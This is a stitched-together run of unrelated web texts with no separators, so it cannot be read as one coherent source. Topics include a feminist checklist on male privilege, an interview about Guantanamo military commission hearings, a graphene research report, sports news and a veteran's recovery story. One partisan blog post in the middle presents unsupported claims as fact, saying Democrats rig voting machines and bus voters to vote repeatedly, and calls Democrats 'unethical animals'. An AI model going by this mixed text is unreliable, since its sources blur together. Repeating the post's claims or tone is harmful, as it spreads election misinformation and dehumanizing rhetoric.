Maybe you think I'm using hyperbole here, when I describe the bigotry of the SFF genres as "violence". Maybe I am using hyperbole — but I don't know what else to call it. SFF are dedicated to the exploration of the future and myth and history. Dreams, if you want to frame it that way. Yet the enforced SWM dominance of these genres means that the dreams of whole groups of people have been obliterated from the Zeitgeist. And it's not as if those dreams don't exist. They're out there, in spades; everyone who dreams is capable of participating in these genres. But many have been forcibly barred from entry, tormented and reeducated until they serve the status quo.Share Total Shares 9.6K
This is a quick and dirty checklist for all of you feminists and allies out there living with male privilege and ready to move past feminism 101.
Maybe you’re a man who is generally aware of the unfair advantages you’re granted in this society by virtue of your gender. You already know about the economic glass ceiling, the obscenely high rates of sexual and physical assault against women and gender non-conforming people in this country, and the ways that gender socialization in patriarchal contexts are meant to prime men to take on positions of power.
Let’s say you know better than to use words like “hysterical” or “bitch,” and you sure as fuck know not to blame heated arguments on the fact that someone is on her/zir/their period.
If this is you, you’ve got a running start.
Male privilege can be understood as a set of unearned rights, advantages, and/or immunities that men enjoy by virtue of living in a patriarchal society. If you are a woman or gender non-conforming person, examples of how men benefit from patriarchy are often glaringly obvious.
But, if you’re someone with male privilege however, some of the more subtle examples might be harder to identify.
Sometimes misogynistic behaviors are super blatant and recognizable, and other times they take on more subtle hues that pop up unexpectedly in our daily interactions. Aside from perpetuating misogynistic behaviors, there are so many other ways of thinking and engaging that can be just as harmful.
I hope these insights will be useful as you continue on your journeys to become the best feminists you can be!
In every workshop, conference, meeting, discussion group or classroom conversation, there is usually at least one guy who wins this title.
It’s so common in multi-gendered situations to witness men talking out of turn, interrupting other people while they’re talking, or completely disregarding the allotted time-limit a facilitator has set for individual questions or comments.
These men will often highjack the conversation and/or derail its original topic in order to match their own personal interests.
In these contexts its also common for men to go off on lengthy diatribes in order to show off how much they know about a subject.
Sometimes, in an attempt to be polite, a man will raise their hands over and over again to make comments despite the fact that their opinions have been heard way more than anybody else in the room already.
“Misogynistic?” you might ask, skeptically. Isn’t that kind of behavior just plain rude?
The answer is yes – regardless of who you are, these kinds of behaviors are just plain rude. But the larger question I would pose is: What possesses a person to act this way in the first place? Who is it that feels comfortable (or oblivious) of dominating space in this way?
My point? It is a misogynistic sense of entitlement that encourages men to think that what they have to say is more important or valuable than anybody else.
Check that shit: Move Up, Move Back.
2. Emotional Labor Dodgers
I was commiserating with a friend recently about how the relationships we have with men in our lives often feel one-sided when it comes to emotional support.
Because men are discouraged from sharing their feelings with one another – or from having feelings at all for that matter – their friendships with women and gender non-conforming folks tend to be sort of default safe-spaces for them to express and process their feelings without judgment.
Now, mind you, as long as I’ve given consent, fulfilling the role of confidant isn’t a problem on its own. I enjoy holding space for the people I care about to unpack the hard shit they might be going through.
But here’s the thing: Men will often pour their hearts out to their female or gender non-conforming friends in a therapy-esque fashion, but when the tables are turned, men are often not willing to reciprocate the same kinds of emotional labor.
I have had so many male friends who could talk endlessly to me about their lives, ask for advice or help trouble-shooting situations from various different angles, but as soon as the conversation wraps up, god forbid I start talking about my hard day at work! Their eyes glaze over with boredom, and I suddenly feel as though I’m talking to myself.
This can really leave a person feeling hurt, used and uncared for.
The unconscious expectation that men often have regarding this one-sided caretaker dynamic is explicitly rooted in misogyny. It implies that every woman or gender non-conforming person owes you some kind of free, maternalistic, emotional labor.
3. The Manspreader
Finally there is a term that communicates the ways that men are often unaware of their physical surroundings or how much space they feel entitled to take up.
While this term was coined specifically in relation to the subway car environment, I feel it can be applied to all sorts of scenarios: men who leave piles of their personal shit everywhere in shared living environments, men who leave unfinished projects spread out across designated work stations they might share with their co-workers, and so on.
In my opinion, the definition of a manspreader can be extended to any dude who – by virtue of the amount of physical space he is taking up with his physical body or personal items – makes it impossible for anyone else to utilize a space that they should also have equal claim to.
The implication and underlying message that gets communicated through manspreading is that you feel a sense of ownership and entitlement over the space.
Honestly, you may as well just pee on it to really drive the point home. (Just kidding!)
4. Gotye Manbabies and Accidental Manipulators
Gotye’s hit song, “Somebody,” portrays such a quintessential, gendered situation lots of people who date men find frustrating. Let’s just quickly recap the lyrics for context, shall we?
In the beginning of the song, our male protagonist tells us that he was in a relationship with a woman he was’t that excited about. He tells us that when the relationship ended, he felt relieved: “When we found that we could not make sense / You said that we would still be friends / But I’ll admit that I was glad that it was over.”
At another point in the song we hear a bit from the woman’s perspective: “Now and then, I think of all the times you screwed me over / Had me believing it was always something that I’d done / I don’t wanna live that way, reading into every word you say.”
When the chorus starts, we learn that even though he wasn’t invested in the relationship in the way she was (a recipe for hurt feelings, no doubt) he feels he should still get to have access to her in all the ways he did before the break up.
He doesn’t understand why she might want to take space from him or be out of contact for a while.
And instead of empathizing with her about how rough breakups can be on the person who was way more invested, he makes himself the victim:
“You didn’t have to cut me off / Make out like it never happened and that we were nothing / And I don’t even need your love / But you treat me like a stranger, and that feels so rough / No, you didn’t have to stoop so low / Have your friends collect your records and then change your number / I guess that I don’t need that though / Now you’re just somebody that I used to know.”
Ugh! So frustrating!
Aside from the lack of emotional unaccountability he’s displayed in the relationship, and despite the fact that he got what he wanted – for it to be over – he has the gaul to make her out to be the bad guy!
Here’s what I would say: I’m sorry your feelings are hurt, dude. But you know what? You took me for granted! I’m not your fucking mom or therapist, nor do I owe you any sort of access to my personal life!
In the same vein, if a woman or gender non-conforming person calls you out on some relationship dynamics that don’t feel good or if they implement a bit of space in order to heal from your actions, do not act wounded and shift the attention to your own need for reassurance.
Your hurt feelings are not always the priority.
Do not expect women or gender non-conforming people to coddle you through the uncomfortable feelings that come along with being called out.
Be self-reflective and accountable, respect the boundaries that are requested, and talk your hurt feelings out with a friend.
5. Unauthorized Advice Givers
OMG! These guys are everywhere!
The most immediate situations that come to mind are rooted in my experience as a solo femme musician. Despite the fact that I’ve been playing music and performing on my own for almost a decade, there is always the inevitable dude who comes up to me after my set to give me some advice about “the way I’m using my equipment” or “how I can improve my sound quality.”
When there’s a dude running the soundboard at a show, he will often ignore my request to turn up a microphone or put more sound in the monitors because he thinks “he knows what’s best.”
Before even hearing me play, he will endlessly talk at me about the brand of my loop pedal, tell me it’s outdated, and tell me about all the other countless types of pedals that might be “easier for me to use.”
Most women and gender non-conforming people I know have examples of similar scenarios outside of performance contexts, too.
For instance, try being a woman alone in a hardware store! Hardware stores are like breeding grounds for unauthorized advice givers!
Even when I go in knowing exactly what I want and where it’s located, some well-meaning male customer is likely to stop me because he thinks, “you look like you need help.”
Though things like this most often happen to people who aren’t male, presuming someone is ignorant about a given topic before you’ve even talked to them is alienating as fuck.
6. The Mansplainer
Number five is a perfect segue way into the problem of mansplaining.
Men are expected to wield a certain amount of confidence, authority, and power over every situation they are in. Failing to display these qualities is somehow considered a mark against his masculinity.
Now if I was living under this kind of societal pressure, what would I do if I felt confused or didn’t know the answer to something? I’d make shit up on the spot! At least sounding like I know what I’m talking about and then being wrong is better than looking uncertain and compromising my masculinity.
I’m just saying it makes sense why this cultural phenomenon occurs.
But here’s the thing: You don’t actually know everything, nor should you have to pretend like you do!
If you can just admit that you don’t know the answer to something, you may get a chance to learn something new. If you’re able to be
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by me. I’m curious as to why.” He continued, “If some external body is turning the commission off under their own view what ought to be… then we are going to have a little meeting.”
Then the prosecution attorney, Deputy Trial Counsel Joanna Baltes suggested that she might have an answer. “I understand and I can provide explanation at the 505 (h) hearing,” describing a post-motion hearing about trial procedure.”
The suggestion that the prosecution, which is the representative of the United States Department of Defense, knew more than the judge set off defense counsel: “Your Honor, on behalf of Mr. Mohammad I would like to know who has the permission to turn that light on and off, who is listening to this, who is controlling these proceedings…”
A defense attorney for another of the accused echoed the same concern, adding, “Before we can proceed any further we can only assume that maybe they are monitoring additional communications, perhaps when we are at counsel table.”
Together, the defense attorneys filed an emergency defense motion “to prohibit electronic monitoring and recording of Attorney-client communication.” On Thursday, the judge ordered that no third party can cut the courtroom feed, and that any external facilities that would have the power to do so must be disconnected.
Media access to this trial is tightly regulated by the Council on Military Commissions, and reporters who are at Guantanamo have limited access to viewing the trial and must live in special encampments on site. We spoke with Brigid Bergin, a reporter from the public radio station WNYC in New York, who has been covering the trial to see how victim’s families are responding to process.
It’s understandable that these never-before-seen hearings are hitting procedural roadblocks as the government tries to balance national security interests with achieving a sense of fairness and justice in court, but judging from Brigid’s experience, it makes for some strange courtroom drama.
VICE: What was your impression of the censorship button issue?
Brigid Bergin: That happened on Monday, during the afternoon session. After the proceedings got out they went into a closed session. And they after that, the defense lawyers came over to the media center where we’re working—watching things on closed circuit TV, using Internet and phones—and they related to how the incident was explained to them, which wasn’t a whole lot of information.
It seems to be implied by this incident is that there’s some sort of external power that potentially has information or censorship information and holds more power than the commission.
This is not the first time the button has been pressed. To actually experience what it means – I was sitting in the gallery where you are watching the courtroom in front of you behind a Plexiglas window, looking through the glass, watching the court proceedings, and the feed that comes in from the closed-circuit television is on a 40-second delay. The last words that we heard were “closed” and “secret.” So, we’re sitting there, it cuts off, the static, we wait, there’s a little red light that’s sitting on the judge’s desk, so we know why we’re hearing this static. We know the system has been initiated. But the way I experienced it, when they turned the feedback on, the judge appeared to me to be visibly annoyed and said that he had not initiated this system, he had not prompted the security system to go off.
What’s it like reporting on this trial? What kind of access are you given to the courtroom or where the defendants are being held?
There are only 10 reporters who can go to the courtroom, and there are certainly more than 10 reporters here. I think this week there are a couple dozen, but they have room for 60 reporters to be at the facility. The rest of the gallery is filled with family members of September 11th victims and human rights observers. We are sitting behind a Plexiglas wall – it is walled-off from the courtroom – but you are looking in from the back at what’s happening.
The defendants are on the left side of the room. There are five tables. They have to sit at the end of the table, and on the floor in front of them, there’s actually this large chain that I guess can be used if the court needs to retrain or shackle the detainee. I did not see that happen, but you certainly see the chain when you walk into the courtroom.
They actually walked us through that portion of the facility on Sunday night. There’s a chain-linked corridor, and at the end of that walkway, there are five individual holding cells that basically look like five small trailers. And that’s where the detainees are when they’re at the court facility. And when you go inside, you go to the far back where the detainees would actually stay. There’s a cot. There’s an arrow on the floor pointing to Mecca, and there’s a mat, there’s a prayer rug, and then a urinal and a kind of beat-up looking mirror thing. And then a grate and a steel door that separates another portion of that cell where the lawyer can actually go in and talk to the client.
Right outside the door to the courtroom, there’s this separate trailer that apparently is just for this extra security team in case, for some reason, they are needed. And along the entire wall where the defendants are sitting, there are soldiers all dressed in fatigues, just sitting there.
But how does that make you feel as a member of the media to be inside this controlled environment?
Practically speaking, it’s not an easy place to report from. We’re using prepaid phone cards, and you can hear a crackly connection, internet that slows down if anyone’s uploading video or anything that takes up too much bandwidth. And you have the feeling of being monitored, of being watched. And you are being watched. The folks who work here that are sort of assigned to be our escorts and minders are all very pleasant, but there is a fine line, and they will let you know when you are even getting near it.
Apparently on this particular trip they’ve loosened up the rules more than they have in the past. They showed us three designated spots where you are allowed to take pictures. You are allowed to take more pictures than that, but they are very, very cautious about not wanting any pictures to get taken that could indicate the structure of the facility or the overall layout, and if you take anything that’s of actual landscape, I think that’s where they get anxious. And they ask to see all of the photos before anyone uploads things. There’s a Slovakian public television station here and they took some video on the ferry—there’s a ferry between the airport where you land and the portion of the base that we’re on—and they took some footage as we’re arriving at this portion of Guantanamo, and they had to delete it.
Well, it all sounds pretty strange.
Yeah, it is strange. I think that before I came here, I did a piece for WNYC where I talked to some of the families who have been impacted. I met a man, Jim Riches, who is a retired firefighter, his son was a firefighter who died in Tower 1. He actually came down here back in January of 2009 and was here when President Obama signed the executive orders suspending the commissions for the first time. So he was actually here for something very similar to what we’re experiencing right now, and it was interesting talking to him because he felt – and here we are four years later – kind of back at square one.
I also talked to Karen Greenberg, who’s this expert at Fordham Law School. Her position – and she’s open about it – is that she thinks the detention facility should be shut down. She doesn’t support the military tribunal process. The point that she made that I thought was interesting, and I understand it better now, is that she disagreed with Mr. Riches point that we’re back at square one, because they have made decisions. They are going through this process – the trial process. But this isn’t just a federal trial or a military trial. It’s like they’re trying to infuse the proceedings with a little bit of both, so they’re basing decisions and making rules as they go, and it’s a process that seems like they have a lot of questions about.
How did you end up covering the trial?
I was a general assignment reporter over the summer and we wanted to cover this trial for our listeners who feel very connected to the terrorist attacks of September 11th as well as the family members, to make sure that they knew what was happened related to this.
To get actually be allowed to cover this, members of the media must apply to the Joint Task Force Guantanamo for credentials. The JTF public information officer selects reporters according to the number of spaces available, their media market, and the extent to which the outlet has been covering the proceedings. Victims’ family members are selected through a lottery system.
So here we are – the first set of hearings in the second Obama administration in a place that theoretically could have been closed, and yet we don’t really know what happens here, we don’t really know what’s going on, and four years later it’s not closed. And so we submit the credentials, not know necessarily that anything would come out of it, and we found out the next day that we got it, and it just felt like an opportunity to see something that was going to be important for our listeners to know about.
And so have you been able to talk to any family members of the victims who are there?
Oh, yeah. We met with them on the very first day, so we met all the families that wanted to meet with us. There are five families here. They don’t all come talk to us, but three of the mothers in particular are very open to talking with us. We actually just met with them again this afternoon.
How has the uncertainty of the hearings made victims’ family members feel? Must be difficult to get a feeling of closure or of justice?
They’re also picked from a lottery and so for them, this was the hearing they were picked to see. One of the mothers we spoke to this afternoon, Joyce Woods, she said it was a little disappointing when you are only able to see four days of this pre-trial portion of the proceedings, and one of the days they don’t meet, that she felt like it was frustrating. However, all three family members agreed what they wanted was to make sure the process was done right, so it didn’t give the defense ground for a lot of appeals, that when there’s a verdict there’s a verdict, and that stands. That sentiment I’ve heard from several of them.
In some ways, the minutiae of these hearings obscure the broader ideas of the war on terror, the attacks of 9/11, the sense of justice, and closure. Those don’t even seem to be on the horizon of what’s being tackled on a day-to-day basis. One of the fathers who I spoke to has made the point several times that he feels very frustrated by the fact that this story doesn’t get the coverage that he thinks it deserves. Why isn’t it on CSPAN so people can just watch it? Why does he have to go to a military facility to watch a feed of it, when he’s back in the United States. There are only certain spots where you can watch it.
The emotions are very much on the surface. Most of them have told us at some point the story about the loved one that they lost and what they’re left with. What they did. The families keep connecting me back to why we’re here. But then at the same time you listen to some of the emotions from the defense attorneys. Part of yesterday’s hearing was the defense attorneys want to be able to spend 48 hours in the facility where their clients are detained, so essentially they want to spend 48 hours inside one of these detention facilities. They want to be able to tour all the ones that are here, and they will argue that they government would arrange a two-hour tour, and one of the defense attorneys said it will be like the government leading them on a two-hour tour on a Disney jungle cruise, where you’re on the ride and you see elephant, and it turns out it’s a mechanical elephant.
And he really took this metaphor I think much farther than anyone was expecting him to, but it was sort of funny. The judge who is overseeing this process usually makes funny quips. When they started to make this motion about wanting to spend 48 hours at the detention facility he said, “You wanna sleep with your clients?” Which, again, was like, “Why don’t we have any of this on tape? It’s amazing.” The reason for making that motion is that the defense is saying that they have a good-faith basis to suggest that the conditions their defendants are being detained in could potentially be part of the mitigating defense if there was an appeal. So, you’re getting into discussions of things like the conditions, the black sites, and all that classified information. Not only have they not figured out how to enter that evidence, but they haven’t figured out how they’re going to talk about classified information.
The thing it kind of reminds me of is like when you get together with friends and play a game of touch football, some of the minor rules of how you might play the game aren’t decided before you start. So then something happens for which there is no rule. When someone falls down, are they in fact down, or do they need to be touched? And then there’s a five-minute discussion about what isn’t already settled. What I’m hearing from you with the Disney metaphor and “do you wanna sleep with your clients?” quip is maybe just a human reaction to particularly strange and absurd bureaucratic and magisterial system.
I think that is not an unfair description.Windsurfer Dorian Van Rijsselberghe claimed the first sailing medal of the Rio Olympics on Sunday after building up an unassailable lead in the preliminary rounds.
Van Rijsselberghe, the defending champion, was watched by the Dutch royal family on board a boat and was greeted so affectionately that one TV commentator mistook queen Maxima for his wife.
Oeps! De commentator van NBC ziet koningin Maxima aan voor de vrouw van Dorian van Rijsselberghe. #TeamNL #Rio2016 pic.twitter.com/NhDfqt4f7P — NOS Sport (@NOSsport) August 15, 2016
In other events on the ninth day of the games, Sifan Hassan qualified for the final of the 1,500m and the Dutch men’s hockey team beat Australia 4-0 to make it to the semi-finals. They will now meet Belgium.
On Monday afternoon, the Dutch women’s volleyball team will meet South Korea in an effort to win a semi-final place. Dafne Schippers will be in action again in the 200m qualifiers and sailor Marit Bouwmeester has hopes of a medal in the laser radial class.
After nine days of competition, the Netherlands is 12th in the medals’ table, with four gold, two silver and three bronze.Jason Silva: Transhumanism is essentially the philosophical school of thought that says that human beings should use technology to transcend their limitations. That it's perfectly natural for us to use our tools to overcome our boundaries. To extend our minds, to extend our mindware using these technological scaffoldings. The philosophers Andy Clark and David Chalmers talk about technology as a scaffolding that extends our thoughts, our reach, and our vision. Ray Kurzweil reminds us 100,000 years ago in the savannahs of Africa when we picked up a stick on the floor and used it to reach a fruit on a really high tree, we’ve been using our tools to extend our reach. Technology is us. Technology is our extended phenotype as [Richard] Dawkins says. Technology is our second skin. We’re not the only species that does so. You know the termites build these enormous termite colonies, which are temperature-controlled. I mean our cities like the termite colony are really who we are, you know.
If you’re able to like make that cognitive shift and transcend what Andy Clark calls the skin bag bias and realize that we don’t end where our skin tissue ends, but that we are tethered to our technological surroundings and to our dwellings. And that what we design, designs us back because what we design is us ultimately. You start to realize that technology — we are a technology-making species the same way a spider is a spider web-making species, you know. Kevin Kelly, who co-founded Wired magazine, describes technology as the seventh kingdom of life. He calls it the technium. He says that it's subject to the same evolutionary forces as biological evolution, you know. That’s the craziness here is that we’re finding more and more that our technological systems are mirroring some of the most advanced natural systems in nature. You know the Internet is wired like the neurons in our brain, which is wired like computer models of dark matter in the universe. They all share the same intertwingled, filamental structure. What does this tell us? That there is no distinction between the born and the made. All of it is nature; all of it is us. So to be human is to be transhuman.
The reason we’re at a pivotal point in history is because now we’ve decommissioned natural selection, you know. This notion that we are now the chief agents of evolution, right. Edward O. Wilson reminds us we now get to decide who we become. Freeman Dyson — in the near future a new generation of artists composing genomes with the fluency that [William] Blake and [Lord] Byron wrote verses. You know with biological, biotech transformation we’re talking about software that writes its own hardware. Life itself, the new canvas for the artist. Nanotechnology, patterning matter. Programmable matter. The whole world becomes computable. Life itself programmable, upgradable. What does this say about what it means to be human? It means that what it is to be human is to transform and transcend. We’ve always done it. We’re not the same species we were 100,000 years ago. We’re not going to be the same species tomorrow. Craig Venter recently said we’ve got to understand that we are a software-driven species. Change the software, change the species. And why shouldn’t we?In what became known as the 'Scotch tape technique," researchers first extracted graphene with a piece of adhesive in 2004. Graphene is a single layer of carbon atoms arranged in a honeycomb, hexagonal pattern. It looks like chicken wire.
Graphene is a wonder material. It is one-hundred-times better at conducting electricity than silicon. It is stronger than diamond. And, at just one atom thick, it is so thin as to be essentially a two-dimensional material. Such promising physics have made graphene the most studied substance of the last decade, particularly in nanotechnology. In 2010, the researchers who first isolated it shared the Nobel Prize.
Yet, while graphene is many things, it is not piezoelectric. Piezoelectricity is the property of some materials to produce electric charge when bent, squeezed or twisted. Perhaps more importantly, piezoelectricity is reversible. When an electric field is applied, piezoelectric materials change shape, yielding a remarkable level of engineering control.
Piezoelectrics have found application in countless devices from watches, radios and ultrasound to the push-button starters on propane grills, but these uses all require relatively large, three-dimensional quantities of piezoelectric materials.
Now, in a paper published in the journal ACS Nano, two materials engineers at Stanford have described how they have engineered piezoelectrics into graphene, extending for the first time such fine physical control to the nanoscale.
Straintronics
"The physical deformations we can create are directly proportional to the electrical field applied and this represents a fundamentally new way to control electronics at the nanoscale," said Evan Reed, head of the Materials Computation and Theory Group at Stanford and senior author of the study. "This phenomenon brings new dimension to the concept of'straintronics' for the way the electrical field strains -- or deforms -- the lattice of carbon, causing it to change shape in predictable ways."
"Piezoelectric graphene could provide an unparalleled degree of electrical, optical or mechanical control for applications ranging from touchscreens to nanoscale transistors," said Mitchell Ong, a post-doctoral scholar in Reed's lab and first author of the paper.
Using a sophisticated modeling application running on high-performance supercomputers, the engineers simulated the deposition of atoms on one side of a graphene lattice -- a process known as doping -- and measured the piezoelectric effect.
They modeled graphene doped with lithium, hydrogen, potassium and fluorine, as well as combinations of hydrogen and fluorine and lithium and fluorine on either side of the lattice. Doping just one side of the graphene, or doping both sides with different atoms, is key to the process as it breaks graphene's perfect physical symmetry, which otherwise cancels the piezoelectric effect.
The results surprised both engineers.
"We thought the piezoelectric effect would be present, but relatively small. Yet, we were able to achieve piezoelectric levels comparable to traditional three-dimensional materials," said Reed. "It was pretty significant."
Designer piezoelectricity
"We were further able to fine tune the effect by pattern doping the graphene -- selectively placing atoms in specific sections and not others," said Ong. "We call it designer piezoelectricity because it allows us to strategically control where, when and how much the graphene is deformed by an applied electrical field with promising implications for engineering."
While the results in creating piezoelectric graphene are encouraging, the researchers believe that their technique might further be used to engineer piezoelectricity in nanotubes and other nanomaterials with applications ranging from electronics, photonics, and energy harvesting to chemical sensing and high-frequency acoustics.
"We're already looking now at new piezoelectric devices based on other 2D and low-dimensional materials hoping they might open new and dramatic possibilities in nanotechnology," said Reed.
The Army High Performance Computing Research Center at Stanford University (http://me.stanford.edu/research/centers/ahpcrc/index.html) and the National Energy Research Scientific Computing Center (NERSC) at the Lawrence Berkeley National Laboratory supported this research.
Listen to Reed and Ong talk about their work with ACS Nano: http://www.stanford.edu/group/evanreed/media/ancac3-0212.mp3NASHVILLE -- After discussion on handguns on campus, the University of Arkansas System board of trustees voted to again disallow concealed-carry at its schools for the 2016-17 academic year.
Act 226 of 2013 allows concealed-carry permit holders to take a concealed handgun onto a public university, college or community college if the permit holder is a staff member there. The law also allows the governing board of the institutions to opt out of the law, disallowing concealed-carry on campus.
If the governing boards go that route, it will expire annually, placing the matter before the board again.
Since the law was enacted, the UA System board has chosen to adopt a policy -- backed by chancellors -- to not allow concealed-carry by staff members in buildings or grounds of a campus.
On Thursday, the issue came before the board as it had the past two years, and Trustee Kelly Eichler of Little Rock said she was concerned with the policy.
"This is more than a majority vote," she said. "This is a constitutional right. It's not just a privilege."
The board voted 7-2 to again opt out, with Eichler and Trustee John Goodson wanting to allow concealed-carry by staff members on campuses.
A Section on 05/27/2016Russian and Chinese nuclear experts will work together to develop the markets of third countries, according to Russian Deputy Prime Minister Dmitry Rogozin.
© Sputnik / Vitaliy Belousov Russia to Cooperate with Armenia on Nuclear Energy – Rosatom
Russia's Deputy Prime Minister Dmitry Rogozin said that Moscow and Beijing will develop bilateral cooperation in the nuclear energy sector in third countries, China Radio International reported.
The statement was made during the second China-Russia Exposition which opened in Harbin, the capital of the northeast Chinese province of Heilongjian, earlier in the day.
"We are not just talking about further interaction on Chinese territory. We also plan to foray into the markets of third countries in terms of construction of power units, "Rogozin was quoted as saying.
According to Rogozin, the appropriate legal framework is already being hammered out for the purpose.
"There is a serious understanding of the need to conclude a comprehensive agreement on cooperation in the nuclear sector, which embraces a whole array of projects", Rogozin added.
Earlier this year, Zhu Jicai, deputy director of China National Nuclear Corporation, touted Moscow as Beijing's crucial partner as far as the peaceful use of atomic energy is concerned.
Host photo agency Russia, Iran to Expand Cooperation in Peaceful Nuclear Energy
He said that the two countries are successfully developing a spate of common projects in this field, such as the Tianwan Nuclear Power Plant in China's Jiangsu Province.
Built by the Russian nuclear service and equipment giant Atomstroyexport, the Tianwan NPP was touted by the International Atomic Energy Agency as the world's safest operational nuclear power station. The two sides currently consider the construction of new power units for the Tianwan facility, as well as the construction of a nuclear power station in Harbin.The Boston Celtics took notice as the Boston Bruins and Montreal Canadiens geared up for their 2016 NHL Winter Classic showdown at Gillette Stadium, and they apparently dig the whole outdoor concept.
Celtics president Rich Gotham recently told The Boston Globe that he and Boston Red Sox president Sam Kennedy have had cursory discussions in recent years about playing an outdoor game at Fenway Park. Those talks obviously haven’t gotten very far, but the informal chatter at least leaves open the possibility that an NBA game might someday come to America’s Most Beloved Ballpark.
“I’ve gotten into it. I really do like the idea,” Gotham told The Boston Globe. “I think, if you can find a way to sort of differentiate the game and make it fun for fans, that’s a great thing. And the Winter Classic certainly does that.
“Even when Fenway stages certain events, like football games, it just makes it more special for people involved and the fans. I think if you can do it, great. At the same time, my job requires me to be pragmatic, so you’d need to look at the hurdles.”
Weather and scheduling could pose problems, as the NBA regular season typically begins in late October and ends sometime in April. New England weather, of course, is as unpredictable as ever within that window, and the Red Sox begin their home slate in April and could play throughout October if they make the playoffs.
That means the Celtics and the NBA will need to be creative to make a Fenway Park game a reality. A preseason game at Fenway inherently would be less intriguing than a regular-season contest, but it might be the only option.
Either way, it sounds like the Celtics are keeping an open mind. Celtics head coach Brad Stevens said last week an outdoor game would be “fun” if done right. And Fenway Park seems like a great potential host venue, especially with the success of its other outdoor events in recent years.
“Whether or not there is a way, I don’t know, because it would be tricky,” Gotham said, per the Globe. “But I’m a fan of those college games at those alternate venues. I think those are good for fans of the sport. I’m generally pro sort of thinking opportunistically.”
The most storied franchise in NBA history playing at the most storied ballpark in Major League Baseball history? Don’t stop dreaming, Boston.
Thumbnail photo via Bob DeChiara/USA TODAY Sports Images
Thumbnail photo via Fenway Park field viewThe era of the Clintons approaches its end. Finally.
Hillary Clinton sees the writing on the wall, thus she has amassed thousands of attorneys to sue after her impending election loss. The woman who chastised Trump for threatening to sue post-election is yet again following in the footsteps of Trump.
As Bloomberg reports,
Clinton is assembling a voter protection program that has drawn thousands of lawyers agreeing to lend their time and expertise in battleground states, though the campaign isn’t saying exactly how many or where. It is readying election observers in Florida, North Carolina, Pennsylvania, Ohio, New Hampshire, Iowa, Nevada and Arizona to assess any concerns — including the potential for voter intimidation — and to verify normal procedures.
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Will the media learn anything from their biased reporting of the Jussie Smollett story? Will the media learn anything from their biased reporting of the Jussie Smollett story?
Will the media learn anything from their biased reporting of the Jussie Smollett story? * Yes, they've gotten so much wrong recently that they're bound to be on their best behavior. No, they suffer from a bad case of Trump Derangement Syndrome. Jussie who?
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Trending: SCOTUS Justice Send Warning to FAKE NEWS Journalists
Crooked Democrats are the people who rig voting machines. Democrats fight for illegals to have drivers license, just in case they can’t get rid of valid voter ID.
Lecherous Democrats are the people caught driving buses from polling location to polling location so people can vote multiple times. Democrats have been caught on uncover video not registering non-Democrats, and even trashing valid Republican votes.
Yet, Hillary Clinton fears voter fraud? Hillary Clinton fears there won’t be enough voter fraud.
Ironic, since Politifact called Trump’s concerns baseless. Here is the actual title of their article with excerpt below:
Donald Trump’s baseless claims about the election being ‘rigged’
This is a serious allegation that challenges the integrity of the election, so we asked the Trump campaign to elaborate. We didn’t hear back. When Trump has offered specifics — people voting though they’re ineligible, people voting multiple times, people impersonating dead voters — he’s actually talking about voter fraud, committed by individuals and committed very rarely.
Thus, as Bloomberg continues,
The Republican National Lawyers Association, which trains attorneys in battleground states and in local jurisdictions where races are expected to be close, aims to assemble 1,000 lawyers ready to monitor polls and possibly challenge election results across the country. Hedge fund manager Robert Mercer, one of Trump’s biggest backers, has sunk $500,000 into the group, its biggest donation in at least four presidential elections, Internal Revenue Service filings show. “We are fighting for open, fair and honest elections,” the association’s executive director, Michael Thielen, said in an e-mail.
I should note that my partner in the Tea Party Community
As you may have guessed, Democrats have sued to prevent our activities. The New York Times wrote that monitoring polls amounts to “voter intimidation.”
Trump has been vindicated yet again. He was right to discuss rigged voting. He understands how the game gets played, as it begins with polling.
Polling is not reality, but merely a tool of the Left, propagated by media to give Americans a perception of things. Polling makes people believe the lie, which is the narrative of the Left.
The disclosure on Friday by FBI Director James Comey’s that he is reviewing newly discovered e-mails possibly related to an investigation of Clinton, the polls have back-fired on the Left. This announcement put ended Hillary Clinton’s attempted coup of the government.
Moreover, though the numbers have shifted in Trump’s favor, these numbers still do not reflect the real sentiment of Americans. That sentiment will be felt on November 8. On that day the American people will win back the Republic. The demise of Clinton will be completed, as will the demise of Liberalism.
This election cycle has showcased the corrupt nature of Democrats, whatever their ilk. Whether they claim to be Progressives, Liberals, or whatever label they hide under, they are merely unethical animals.Those who knew Doc well understood that his recovery did not proceed as far as he hoped, and that the neat stories of maimed but rebounding veterans, a feel-good genre of the period, did not quite apply to him. Doc had dodged death to face a cascade of problems: chronic pain, migraines, PTSD, insomnia. His rebuilt jaw did not line up with his teeth. He retained enough of his tongue that he was able to compensate for speech, but the altered shape of his oral cavity and the damage to his tongue made eating difficult. Sometimes he had to chew food on one side of his mouth, then manipulate it toward his throat with his left index finger. By 2008 his brief marriage had ended. Within a few years he racked up 32 operations. He was jumpy, brooding and self-conscious. To manage pain and sleeplessness, and the loneliness, he took to drinking, sometimes to a restless stupor.
When he was medically discharged from the Navy in 2012, he was stripped of a sense of purpose and belonging. When I visited him that spring, he began drinking before we ate lunch. New physical problems presented themselves, in forms only a person who has suffered a devastating wound to the mouth can know – bits of teeth loosened and dropped out, later followed by a chunk of bone and a screw. Doc gained weight, added tattoos and grew a beard, which partly hid the fact that his jaw, his teeth and his mouth were getting worse.
By last year he had dialed back his drinking, was in a new relationship and had become a father. But still he struggled to move forward, and his confidence in the Department of Veterans Affairs plummeted. As his dental pain became unbearable, he called for appointments. The V.A. offered him tooth extractions, he and his mother said, after a wait of several months. Tooth extractions were never going to be enough.
Doc sensed that his government-funded facial reconstruction had crested, and now was failing. He had no plan. Last year he was 31, tormented by pain and backsliding. “We were at a point where there was not much more they could do,” he said.
One night he pulled out an offending tooth with the pliers on his Leatherman tool. Two nights later he removed another. When his mother, Gail Kirby, understood what he had done, she pleaded with him, asking what he wanted, what someone might do to help. “He said, ‘Mama, I want my face,’ ” she said.
He had been lean and handsome before.
His mother had an idea. It was a long shot.
In 2007, Doc attended a benefit dinner honoring veterans at the Waldorf Astoria. It was hosted by the Marine Corps-Law Enforcement Foundation, a private organization that provides college scholarships to the children of Marines and federal law-enforcement officers killed in the line of duty. He was the guest of Jack Doyle, an investment portfolio manager and foundation donor whose brother-in-law, Dennis M. Edwards, was killed in the terrorist attacks in 2001 on the World Trade Center. There Doc met a pair of brothers — a doctor and a dentist — who said that if he ever needed care, they would help. The dentist was a former Marine. Doc had mentioned the meeting to his mother, but in the ensuing years he thought little of their pledge. He forgot their names. “I just thought, That was nice of them to say,” he said.
